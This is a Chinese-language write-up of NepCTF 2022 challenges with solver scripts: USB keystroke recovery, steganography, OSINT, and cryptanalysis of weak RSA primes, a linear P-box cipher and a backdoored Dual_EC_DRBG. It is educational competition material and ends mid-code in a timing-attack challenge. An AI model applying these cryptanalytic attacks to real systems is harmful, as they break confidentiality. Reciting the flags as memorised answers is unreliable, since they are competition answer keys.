NepCTF 2022

“NepCTF 2022”是由Nepnep联合站队主办的公益招新赛事,旨在以有代表性、有特色的题目培养新生网络安全能力。

比赛时间:2022年7月15日10:00 - 2022年7月17日10:00。

比赛形式:个人解题赛

比赛链接:http://nep.lemonprefect.cn/

比赛平台:Power by CTFm

NepCTF 2022赛事说明文档:https://www.wolai.com/nepnep/4c2ZG1UaTnVMmyYsKB5duj

Rank: 4


MISC

签到题

极限套娃

flag格式为nepctf{}

jpg中提取出zip压缩包,zip压缩包套娃232层,用cyberchef label+jump循环提取出最内层的pcap文件;

wireshark打开发现为USB键盘流量,tshark工具提取出usb.capdata数据,用脚本还原键位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
normalKeys = {
"04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
"09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
"0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
"13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
"18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
"1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
"22":"5", "23":"6","24":"7","25":"8","26":"9",
"27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
"2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
"32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
"38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
"3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
"44":"<F11>","45":"<F12>"}
shiftKeys = {
"04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
"09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
"0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
"18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
"1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
"22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
"28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
"2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
"34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
"3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
"41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass

keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass

for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass

print ('output :' + "".join(output))

得到 welcometonepctf2nd,加分隔符得flag:nepctf{welcome_to_nepctf_2nd}

花花画画画花花

花花画了一张图,你能看出来她画的是什么吗

(flag格式为NepCTF{})

osu! wiki 可以发现osz文件为可执行的osu!谱面文件,下载安装osu!,

根据 生成的 .osz 文件会被放置在 osu! 文件夹下的 "Exports" 文件夹里,将osz文件放入 Exports 文件夹,打开osu!,

在Edit页面看完整首歌曲的乐谱轨迹,拿到flag:NepCTF{MASTER_OF_坏女人!}

少见的bbbbase

少见的bbbbase

尝试几种常见jpg隐写,发现是jphide隐写,用JPHS工具seek(无密码),得到 KkYWdvCQcLYewSUUy5TtQc9AMa

base58解得flag:flag{Real_qiandao~}

9点直播

各位同学,比赛已经开始将近十个小时啦,大家玩的如何呢?邀请大家9点来直播间聊聊天~ 请锁定https://b23.tv/bn0pPAR
这边小助手收到了大家想暴打出题人的反馈,今晚9点我们请到了变态的出题人们,在直播间和大家交流,放出我们的hint,帮助大家解题。
同时也会在直播间中抽幸运的小伙伴送出我们的周边礼品。

看B站直播拿flag:NepCTF{bad_woman_nb!}

馅饼?陷阱!

好兄弟中奖了,但是要先汇款。他去哪了?

NepCTF{银行官网网址}

OSINT题。

image-20220717235016617

用Yandex识别图1里的黄色建筑,可得到结果为豪威海景大酒店,再在百度地图里搜索在海南三亚,附近银行为光大银行

官网网址即flag:NepCTF{www.cebbank.com}

问卷

https://www.wjx.cn/vm/mjlLAVV.aspx

答问卷暴打出题人,拿flag:NepCTF{see_you_NepCTF_2023}

CRYPTO

signin

本题flag格式: NepCTF{xxx}

Have you heard of the Chinese Remainder Theorem?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from Crypto.Util.number import getStrongPrime,bytes_to_long
from gmpy2 import powmod,is_prime,invert,bit_length, next_prime

from FLAG import flag


def gen_key():
(p,q,n,e,d) = (0 for _ in range(5))

p = getStrongPrime(1024)
q = next_prime(p)

# q = p + 1
# while(True):
# q += 2 if q & 1 else 1
# if is_prime(q, 30):
# break

n = p*q
e = 0x10001
d = invert(e, (p-1)*(q-1))
par = (p,q,n,e,d)

return par


def leak(par, c):
assert len(par) == 5
(p,q,n,e,d) = par

print("Here's something for you.")
print("n =",n)
print("e =",e)
print("c_mod_p =",c % p)
print("c_mod_q =",c % q)


def enc(message, par):
assert len(par) == 5
(p,q,n,e,d) = par

m = bytes_to_long(message)

c = powmod(m,e,n)
return c


if __name__ == '__main__':
par = gen_key()
c = enc(flag, par)
leak(par, c)

"""
Here's something for you.
n = 19955580242010925349026385826277356862322608500430230515928936214328341334162349408990409245298441768036250429913772953915537485025323789254947881868366911379717813713406996010824562645958646441589124825897348626601466594149743648589703323284919806371555688798726766034226044561171215392728880842964598154362131942585577722616354074267803330013886538511795383890371097812191816934883393255463554256887559394146851379087386846398690114807642170885445050850978579391063585254346364297374019309370189128443081285875218288166996242359495992824824109894071316525623741755423467173894812627595135675814789191820979950786791
e = 65537
c_mod_p = 32087476819370469840242617415402189007173583393431940289526096277088796498999849060235750455260897143027010566292541554247738211165214410052782944239055659645055068913404216441100218886028415095562520911677409842046139862877354601487378542714918065194110094824176055917454013488494374453496445104680546085816
c_mod_q = 59525076096565721328350936302014853798695106815890830036017737946936659488345231377005951566231961079087016626410792549096788255680730275579842963019533111895111371299157077454009624496993522735647049730706272867590368692485377454608513865895352910757518148630781337674813729235453169946609851250274688614922
"""

费马分解和CRT应用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Sage
import gmpy2
n =
q = gmpy2.iroot(n,2)[0]
while 1:
q = gmpy2.next_prime(q)
if n%q == 0:
break
p = n//q
cp =
cq =
e = 65537
c = crt([cp,cq],[p,q])
d = inverse_mod(e,(p-1)*(q-1))
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

# b'NepCTF{ju5t_d0_f4ct_4nd_crt_th3n_d3crypt}'

p or s

本题flag格式: flag{xxx}

what are the differences between P and S?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from secret import keys
from Crypto.Util.number import *
assert(len(keys)==6)
Pbox=[
[0, 3, 6, 9, 10, 11, 13, 16, 18, 19, 20, 24, 25, 27, 28, 29, 30, 31],
[0, 1, 3, 8, 9, 11, 12, 14, 16, 18, 19, 23, 24, 25, 26, 28, 29],
[0, 1, 2, 3, 9, 10, 11, 13, 19, 20, 22, 25, 27, 28, 29, 31],
[0, 2, 3, 5, 6, 7, 8, 13, 16, 19, 21, 25, 26, 27, 28],
[2, 4, 6, 7, 9, 11, 12, 13, 16, 17, 20, 21, 22, 23, 24, 25, 27, 31],
[2, 10, 13, 15, 16, 17, 21, 22, 23, 24, 29, 31],
[1, 2, 8, 11, 12, 13, 16, 17, 19, 21, 22, 24, 25, 26, 27, 28, 30, 31],
[0, 3, 6, 13, 14, 17, 19, 21, 22, 23, 26, 27, 28],
[1, 5, 7, 8, 11, 12, 14, 15, 19, 23, 25, 27, 31],
[0, 2, 3, 6, 7, 8, 9, 10, 11, 12, 16, 18, 19, 22, 23, 24, 25, 26, 27, 28],
[0, 1, 6, 7, 10, 15, 16, 21, 24, 25, 29, 30],
[1, 4, 5, 6, 7, 12, 13, 15, 18, 19, 20, 22, 26, 27, 29, 31],
[0, 3, 5, 8, 9, 17, 21, 22, 24, 25, 26, 27, 30],
[0, 2, 3, 4, 5, 6, 7, 8, 11, 17, 19, 20, 24, 25, 26, 27, 30],
[2, 6, 7, 8, 11, 12, 14, 16, 20, 21, 22, 24, 29, 30, 31],
[0, 2, 5, 6, 7, 8, 9, 10, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 25, 29, 31],
[0, 1, 2, 3, 4, 5, 8, 10, 11, 12, 13, 16, 17, 18, 20, 21, 22, 23, 25, 26, 28, 29, 30],
[3, 5, 6, 8, 10, 13, 14, 17, 19, 20, 21, 22, 24, 26, 27, 29, 30],
[1, 3, 6, 12, 14, 15, 16, 17, 18, 21, 24, 25, 26, 27, 28],
[0, 1, 2, 3, 5, 6, 7, 8, 9, 12, 13, 19, 20, 23, 26, 29, 30],
[3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 16, 20, 21, 22, 25, 26, 27, 28, 29, 30],
[0, 1, 2, 4, 6, 7, 9, 10, 11, 13, 15, 16, 18, 19, 20, 21, 25, 31],
[0, 2, 7, 10, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 25, 29, 31],
[1, 2, 3, 5, 7, 8, 18, 19, 21, 22, 23, 25, 31],
[3, 4, 7, 8, 10, 11, 13, 14, 17, 18, 19, 21, 22, 23, 24, 28, 29],
[0, 2, 6, 7, 8, 10, 11, 12, 13, 16, 18, 19, 21, 23, 31],
[0, 1, 3, 4, 8, 13, 14, 16, 18, 19, 21, 26, 27, 30, 31],
[5, 6, 7, 9, 13, 14, 15, 18, 19, 20, 21, 24, 25, 28],
[1, 3, 4, 5, 6, 7, 11, 14, 16, 17, 19, 20, 21, 22, 23, 25, 30, 31],
[2, 3, 4, 6, 7, 11, 13, 17, 18, 19, 20, 23, 24, 25, 26, 28, 29, 30, 31],
[0, 1, 2, 3, 4, 7, 9, 10, 13, 15, 16, 19, 22, 23, 24, 25, 27],
[0, 1, 3, 4, 12, 16, 18, 19, 26, 30]]

def enc(v):
t=v
for i in keys:
q=[]
for j in Pbox:
q.append(sum([t[k] for k in j])%2)
t=[int(q[j])^int(i[j]) for j in range(32)]
return t

assert(len(flag)==32)
fb=bin(bytes_to_long(flag))[2:].zfill(32*8)
ciphertext=""
for i in range(0,len(fb),32):
t=enc([int(j) for j in fb[i:i+32]])
ciphertext+="".join([str(j) for j in t])

print(ciphertext)
"""
0111110000100101000001101011110111101100000010110011101111000101111110111111100100100010001011000101000110110011111101000001001000000101111000001110001111001001100100111000011011101111111101001011100000100100110011111101100111001100111111110001111011101100
"""

代码逻辑:将flag二进制32*8位01串分为8组,每一组都先经过P盒按位选择求和运算,再与未知的32位key进行按位异或运算,因为有6组key,上述两步运算循环进行6次操作,得到最终32位密文。

将加密过程转为 $\text{GF}(2)$ 下的矩阵运算,$M_i$ 为 1x32 明文矩阵 $(0 \le i \lt 8)$,$P$ 为 32x32 P盒矩阵,$K_i$ 为 1x32 key矩阵 $(0 \le i \lt 6)$,$T_i$ 为中间矩阵 $(0 \le i \lt 6)$,$C$ 为密文矩阵,即:

$T_0=M_i$

$T_1=T_0P^{-1}+K_0$

$T_2=T_1P^{-1}+K_1$

$T_3=T_2P^{-1}+K_2$

$T_4=T_3P^{-1}+K_3$

$T_5=T_4P^{-1}+K_4$

$T_6=T_5P^{-1}+K_5=C$

可得:

$C=T_6=M_i(P^{-1})^{6}+K_0(P^{-1})^{5}+K_1(P^{-1})^{4}+K_2(P^{-1})^{3}+K_3(P^{-1})^{2}+K_4P^{-1}+K_5$

由于 $K_i$ 和 $P$ 都固定,令 $A=(P^{-1})^{6},B=K_0(P^{-1})^{5}+K_1(P^{-1})^{4}+K_2(P^{-1})^{3}+K_3(P^{-1})^{2}+K_4P^{-1}+K_5$,

有 $C=M_iA+B$,其中 $A,B$ 都为固定值,$A$ 可求,$B$ 未知。

猜测 $M_0$ 对应的明文是 flag,则由 $M_0,C_0$可以得出 $B$,再对 $C_1$ 至 $C_5$ 分别求逆运算可得 $M_1$ 至 $M_5$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Sage
P = [
[0, 3, 6, 9, 10, 11, 13, 16, 18, 19, 20, 24, 25, 27, 28, 29, 30, 31],
[0, 1, 3, 8, 9, 11, 12, 14, 16, 18, 19, 23, 24, 25, 26, 28, 29],
[0, 1, 2, 3, 9, 10, 11, 13, 19, 20, 22, 25, 27, 28, 29, 31],
[0, 2, 3, 5, 6, 7, 8, 13, 16, 19, 21, 25, 26, 27, 28],
[2, 4, 6, 7, 9, 11, 12, 13, 16, 17, 20, 21, 22, 23, 24, 25, 27, 31],
[2, 10, 13, 15, 16, 17, 21, 22, 23, 24, 29, 31],
[1, 2, 8, 11, 12, 13, 16, 17, 19, 21, 22, 24, 25, 26, 27, 28, 30, 31],
[0, 3, 6, 13, 14, 17, 19, 21, 22, 23, 26, 27, 28],
[1, 5, 7, 8, 11, 12, 14, 15, 19, 23, 25, 27, 31],
[0, 2, 3, 6, 7, 8, 9, 10, 11, 12, 16, 18, 19, 22, 23, 24, 25, 26, 27, 28],
[0, 1, 6, 7, 10, 15, 16, 21, 24, 25, 29, 30],
[1, 4, 5, 6, 7, 12, 13, 15, 18, 19, 20, 22, 26, 27, 29, 31],
[0, 3, 5, 8, 9, 17, 21, 22, 24, 25, 26, 27, 30],
[0, 2, 3, 4, 5, 6, 7, 8, 11, 17, 19, 20, 24, 25, 26, 27, 30],
[2, 6, 7, 8, 11, 12, 14, 16, 20, 21, 22, 24, 29, 30, 31],
[0, 2, 5, 6, 7, 8, 9, 10, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 25, 29, 31],
[0, 1, 2, 3, 4, 5, 8, 10, 11, 12, 13, 16, 17, 18, 20, 21, 22, 23, 25, 26, 28, 29, 30],
[3, 5, 6, 8, 10, 13, 14, 17, 19, 20, 21, 22, 24, 26, 27, 29, 30],
[1, 3, 6, 12, 14, 15, 16, 17, 18, 21, 24, 25, 26, 27, 28],
[0, 1, 2, 3, 5, 6, 7, 8, 9, 12, 13, 19, 20, 23, 26, 29, 30],
[3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 16, 20, 21, 22, 25, 26, 27, 28, 29, 30],
[0, 1, 2, 4, 6, 7, 9, 10, 11, 13, 15, 16, 18, 19, 20, 21, 25, 31],
[0, 2, 7, 10, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 25, 29, 31],
[1, 2, 3, 5, 7, 8, 18, 19, 21, 22, 23, 25, 31],
[3, 4, 7, 8, 10, 11, 13, 14, 17, 18, 19, 21, 22, 23, 24, 28, 29],
[0, 2, 6, 7, 8, 10, 11, 12, 13, 16, 18, 19, 21, 23, 31],
[0, 1, 3, 4, 8, 13, 14, 16, 18, 19, 21, 26, 27, 30, 31],
[5, 6, 7, 9, 13, 14, 15, 18, 19, 20, 21, 24, 25, 28],
[1, 3, 4, 5, 6, 7, 11, 14, 16, 17, 19, 20, 21, 22, 23, 25, 30, 31],
[2, 3, 4, 6, 7, 11, 13, 17, 18, 19, 20, 23, 24, 25, 26, 28, 29, 30, 31],
[0, 1, 2, 3, 4, 7, 9, 10, 13, 15, 16, 19, 22, 23, 24, 25, 27],
[0, 1, 3, 4, 12, 16, 18, 19, 26, 30]]

PP = zero_matrix(GF(2),32)
for k in range(32):
PP[k] = [1 if x in P[k] else 0 for x in range(32)]

PPt = PP.transpose()

c = '0111110000100101000001101011110111101100000010110011101111000101111110111111100100100010001011000101000110110011111101000001001000000101111000001110001111001001100100111000011011101111111101001011100000100100110011111101100111001100111111110001111011101100'
C = zero_matrix(GF(2),8,32)
for k in range(0,len(c),32):
C[k//32] = [1 if x == '1' else 0 for x in c[k:k+32]]
print(C)

f0 = vector(GF(2),list(bin(int(b'flag'.hex(),16))[2:].zfill(4*8)))
flag = b'flag'
tmp = C[0] - (f0*(PPt^6))
print(tmp)

for k in range(1,8):
l = list((C[k]-tmp)*PPt^(-6))
flag += bytes.fromhex(hex(int(''.join([str(i) for i in l]),2))[2:])

print(flag)

# b'flag{P_has_no_Semantic_Security}'

中学数学

本题flag格式: flag{xxx}

Zuni: 听说密码学是小学数学来着?

// 随缘评:真的吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from gmpy2 import *
from Crypto.Util.number import *
from secret import flag
p=getPrime(1024)

q=next_prime(p+(p>>500))

e=0x10001

n=p*q

c=pow(bytes_to_long(flag),e,n)

print("n=",n)
print("c=",c)

'''
n= 13776679754786305830793674359562910178503525293501875259698297791987196248336062506951151345232816992904634767521007443634017633687862289928715870204388479258679577315915061740028494078672493226329115247979108035669870651598111762906959057540508657823948600824548819666985698501483261504641066030188603032714383272686110228221709062681957025702835354151145335986966796484545336983392388743498515384930244837403932600464428196236533563039992819408281355416477094656741439388971695931526610641826910750926961557362454734732247864647404836037293509009829775634926600458845832805085222154851310850740227722601054242115507

c= 6253975396639688013947622483271226838902346034187241970785550830715516801386404802832796746428068354515287579293520381463797045055114065533348514688044281004266071342722261719304097175009672596062130939189624163728328429608123325223000160428261082507446604698345173189268359115612698883860396660563679801383563588818099088505120717238037463747828729693649297904035253985982099474025883550074375828799938384533606092448272306356003096283602697757642323962299153853559914553690456801745940925602411053578841756504799815771173679267389055390097241148454899265156705442028845650177138185876173539754631720573266723359186
'''

$p,q$ 接近,且前1024-500位相同,有 $\sqrt{n}>>500 \approx p>>500 \approx q-p$,故可爆破找差值 $k$:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Sage
import gmpy2
import itertools
from tqdm import *

def solve(f1, f2):
g = f1.resultant(f2, q)
roots = g.univariate_polynomial().roots()
if len(roots) == 0:
return False
p_ = abs(roots[0][0])
q_ = abs(roots[1][0])
return (min(p_, q_), max(p_, q_))

n =
c =
e = 65537
x = int(gmpy2.iroot(n,2)[0])
xh = x >> 500
for k in trange(1000000,10000000):
d = xh - k
P.<p, q> = PolynomialRing(ZZ)
f1 = n - p*q
f2 = d - (q - p)
res = solve(f1, f2)
if res:
print(k)
print(res)
break

# 5476332
# (117374101720892014802773132009595684550070475491812959407700503409964134408139790074777009067182443277766119990724185784535299405313567262727445965171074427891089886767667348073044876487630536209840494632852807000951512126317010773423294553929289375585831391437922887752426888245829185481732564145862194694837, 117374101720892014802773132009595684550070475491812959407700503409964134408139790074777009067182443277766119990724185784535299405313567262727445965171110284932237912222026220958706260216927350725324469350893507592837055161338352274913301924684983498346654165295930055956026431077232360603315231271970883987911)

再常规解:

1
2
3
4
5
6
7
8
9
10
11
p = 
q =
n =
c =
e = 65537
f = (p-1)*(q-1)
d = inverse_mod(e,f)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

# b'flag{never_ignore_basic_math}'

bd_key

本题flag格式: NepCTF{xxx}

master of pwn一下就解出了明文,因为有后门(本题与pwn无关)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
from FLAG import flag

"""
Note: I have modified Dual_EC a little bit.
It would be EASIER for you to exploit it.
"""
class Dual_EC():
def __init__(self, s_0=None):
from Crypto.Util.number import getRandomNBitInteger

# Init curve P-256
self.p = 115792089210356248762697446949407573530086143415290314195533631308867097853951
self.n = 115792089210356248762697446949407573529996955224135760342422259061068512044369
self.b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
self.curve = EllipticCurve(GF(self.p), [-3, self.b])

# Init P, Q
self.Qx = 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296
self.Qy = 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5
self.Q = self.curve(self.Qx, self.Qy)
self.d = getRandomNBitInteger(256)
self.P = self.d * self.Q

# Init state, h_adin
if s_0 == None:
self.s_i = int(floor((2^16-1)*random()))
else:
self.s_i = s_0
self.h_adin = 0

self.__leak_par()


def __leak_par(self):
print(f"curve = {self.curve}")
print(f"P = {self.P}")
print(f"d = {self.d}")
print(f"Q = {self.Q}")


# Output 32bytes now.
def __Dual_EC_DRBG(self, h_adin = 0):
t_i = self.s_i ^^ h_adin
self.s_i = (t_i*self.P)[0].lift()
r_i = (self.s_i*self.Q)[0].lift()
return r_i


def getRandomNBytes(self, N:int) -> bytes:
result = 0
req = (N/32).ceil()

for i in range(req):
if(i == 0):
result = (result << (32*8)) | self.__Dual_EC_DRBG(self.h_adin)
else:
result = (result << (32*8)) | self.__Dual_EC_DRBG()

self.s_i = (self.s_i * self.P)[0].lift()

result = result >> ((32*req - N)*8)
return long_to_bytes(result)


def encrypt_flag(key:bytes) -> bytes:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from FLAG3 import flag

cipher = AES.new(key, AES.MODE_ECB)
flag_pad = pad(flag, 16)
ct = cipher.encrypt(flag_pad)
return ct


def do_schnorr_identification(dbrg):
p = getPrime(256)
Zp = Zmod(p)
g = Zp(2)
q = g.multiplicative_order()
Zq = Zmod(q)
k = 10


class SchnorrProver(object):
def __init__(self):
self.secret_key = Zq.random_element()
self.public_key = g^self.secret_key

def commit(self):
self.r = Zq.random_element()
return g^self.r

def respond(self, challenge):
return self.r - challenge*self.secret_key


class SchnorrVerifier(object):
def __init__(self, prover_public_key):
self.prover_public_key = prover_public_key

def challenge(self, commitment):
self.commitment = commitment
while True:
c = bytes_to_long(dbrg.getRandomNBytes(32))
if c < p:
break
self.challenge_number = c
return self.challenge_number

def check(self, response):
check_value = g^response*self.prover_public_key^self.challenge_number
return self.commitment == check_value


def run_protocol(iterations=1):
for _ in range(iterations):
prover = SchnorrProver()
verifier = SchnorrVerifier(prover.public_key)
t = prover.commit()
c = verifier.challenge(t)
s = prover.respond(c)
assert(verifier.check(s))

print(f"c = {c}")

run_protocol()


def main():
dbrg = Dual_EC()
do_schnorr_identification(dbrg)
key = dbrg.getRandomNBytes(16)
ct = encrypt_flag(key)
print(f"ct = {bytes_to_long(ct)}")

main()
1
2
3
4
5
6
# curve = Elliptic Curve defined by y^2 = x^3 + 115792089210356248762697446949407573530086143415290314195533631308867097853948*x + 41058363725152142129326129780047268409114441015993725554835256314039467401291 over Finite Field of size 115792089210356248762697446949407573530086143415290314195533631308867097853951
# P = (72696788778535848020209987825324097844942627382508830211685965810687985426258 : 49180397040468497821240854375656422791216946832858522054245540263375986110762 : 1)
# d = 66604141534275704476445937214374130642068729921454877238730830814793201802544
# Q = (48439561293906451759052585252797914202762949526041747995844080717082404635286 : 36134250956749795798585127919587881956611106672985015071877198253568414405109 : 1)
# c = 59100197418944667413449341413044666843726352095054393072750502893110293231642
# ct = 25645992443585671366815910836517434170297823176311632150463962979581372384075859802765045877741181123347569267185176

双椭圆曲线确定性随机数发生器(Dual_EC_DRBG)的一个后门,原理:

设每一步的 $\text{state}$ 为 $s_i$,随机数为 $r_i$,随机数对应的椭圆曲线上的点为 $R_i$。

对于攻击者来说,已知 $P$、$Q$、$d$、$r_{i-1}$,而 $s_i$ 未知。于是有:

$\begin{cases} ((s_i \cdot P)_x \cdot P)_x & \rightarrow s_{i+1} \newline ((s_i \cdot P)_x \cdot Q)_x & \rightarrow r_i \end{cases}$

后门为构造 $d \cdot r_{i-1}$,其恰好是 $s_i$,看似安全的体制被攻破。

记 $k_i = (s_i \cdot P)_x$,有:

$\begin{align} d \cdot r_{i-1} & = {(d \cdot R_{i-1})_x = (d \cdot k_{i-1} \cdot Q)_x} = {(k_{i-1} \cdot d \cdot Q)_x = (k_{i-1} \cdot P)_x} = {((s_{i-1} \cdot P)_x \cdot P)_x = s_i} \end{align}$

题里 $c=r_{i-1}$,构造 $d \cdot c = s_i$,则可以推出下一个随机数 $r_i=((s_i \cdot P)_x \cdot Q)_x$,取高16*8位为AES的Key。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Sage
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES

a = 115792089210356248762697446949407573530086143415290314195533631308867097853948
b = 41058363725152142129326129780047268409114441015993725554835256314039467401291
p = 115792089210356248762697446949407573530086143415290314195533631308867097853951
E = EllipticCurve(GF(p),[a,b])
n = 115792089210356248762697446949407573529996955224135760342422259061068512044369
P = (72696788778535848020209987825324097844942627382508830211685965810687985426258, 49180397040468497821240854375656422791216946832858522054245540263375986110762)
d = 66604141534275704476445937214374130642068729921454877238730830814793201802544
Q = (48439561293906451759052585252797914202762949526041747995844080717082404635286, 36134250956749795798585127919587881956611106672985015071877198253568414405109)
c = 59100197418944667413449341413044666843726352095054393072750502893110293231642
ct = 25645992443585671366815910836517434170297823176311632150463962979581372384075859802765045877741181123347569267185176

P = E(P)
Q = E(Q)
R0 = E.lift_x(c)
s1 = (d*R0)[0]
s2 = ((s1*P)[0]*P)[0]
r1 = ((s1*P)[0]*Q)[0]
key = r1 >> ((32 - 16)*8)

cipher = AES.new(key, AES.MODE_ECB)
key = long_to_bytes(key)
ct = long_to_bytes(ct)
print(cipher.decrypt(ct))

# b'NepCTF{NS4_b4ckd00r_1n_ps3ud0_r4nd0m_g3n3r4t0r}\x01'

timing

牢不可破的算法,或许会在其他地方出现问题?
(容器下发后,师傅自行nc哦~~~)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
#!/usr/bin/python3 

from time import perf_counter_ns as clock1
from time import *

ecc_table = {
'n': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
'p': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
'g': '32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7'
'bc3736a2f4f6779c59bdcee36b692153d0a9877cc62a474002df32e52139f0a0',
'a': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
'b': '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
'O': '0000000000000000000000000000000000000000000000000000000000000000'
'0000000000000000000000000000000000000000000000000000000000000000',
}

class TSM2(object):
def __init__(self, sk):
self.ecc_table = ecc_table
self.n = int(ecc_table['n'], 16)
self.para_len = len(ecc_table['n'])
self.ecc_a3 = (int(ecc_table['a'], base=16) +
3) % int(ecc_table['p'], base=16)

self.sk = sk
self.pk = self.kg(self.sk, ecc_table['g'])

def sign(self, data, K):
e = data
d = self.sk
k = K

P1 = self.kg(k, self.ecc_table['g'])
x = int(P1[0:self.para_len], 16)
R = ((e + x) % int(self.ecc_table['n'], base=16))
if R == 0 or R + k == int(self.ecc_table['n'], base=16):
return None
d_1 = pow(
